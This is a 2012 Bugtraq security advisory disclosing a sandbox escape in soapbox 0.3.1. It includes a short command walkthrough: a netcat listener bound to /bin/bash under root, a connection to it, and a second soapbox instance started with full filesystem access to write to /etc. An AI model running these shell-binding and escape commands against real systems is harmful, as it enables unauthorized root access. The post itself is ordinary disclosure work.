bugtraq - soapbox Local Root / Privilege Escalation Vulnerability

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Message-Id: <201210091413.q99EDkeA027404@sf01web2.securityfocus.com>
Date: Tue, 9 Oct 2012 14:13:46 GMT
From: pereira@...biz.de
To: bugtraq@...urityfocus.com
Subject: soapbox Local Root / Privilege Escalation Vulnerability

-----------------------------------
soapbox 0.3.1 <= Local Root Exploit
-----------------------------------

Vendor URI: http://dag.wieers.com/home-made/soapbox/

Credit: Jean Pascal Pereira <pereira@...biz.de>

Description:

"Soapbox allows to restrict processes to write only to those places you want. Read-access however is still based on file-permissions. By preloading the Soapbox library, you can run programs as root and monitor which writes/changes are made, without them really happening. (Typically 'make install') 

Beware this can be used for security-purposes, but it can deliberately be circumvented. Soapbox only impacts dynamically linked programs that properly use glibc functions. I'm currently looking into a safer implementation using ptrace. 

Soapbox also triggered some bugs in applications that trusted system calls too much. So you can use soapbox to test your programs for these kinds of mistakes too."

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First of all, we have to run soapbox on our target system.
I'm going to create a new netcat process spawned in a restricted directory (/etc/opt/sbx). 

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root@...oc:/etc/opt/sbx# soapbox -l log -p /etc/opt/sbx /bin/nc -l -v -p 4545 -e /bin/bash
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After establishing a connection to our target system, we get a sandboxed root shell.
Let's try to write data to a protected location.

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$ nc 23.5.0.0 4545
echo boom > /etc/abc
bash: line 1: 1: Bad file descriptor
------------------------------------------------------------------------------------------

As we can see, soapbox restricts write access to this path.
But what happens if we start another soapbox instance with full file-system access?

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$ nc 23.5.0.0 4545
soapbox -l log -p / /bin/bash # running another instance of soapbox that provides full file system access
echo boom > /etc/abc
cat /etc/abc
boom # BOOM!
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BOOM. Now we're able to start an unrestricted root shell and gain control over the file system.

(This is still a local exploit because we were only able to exploit that issue remotely by using netcat).

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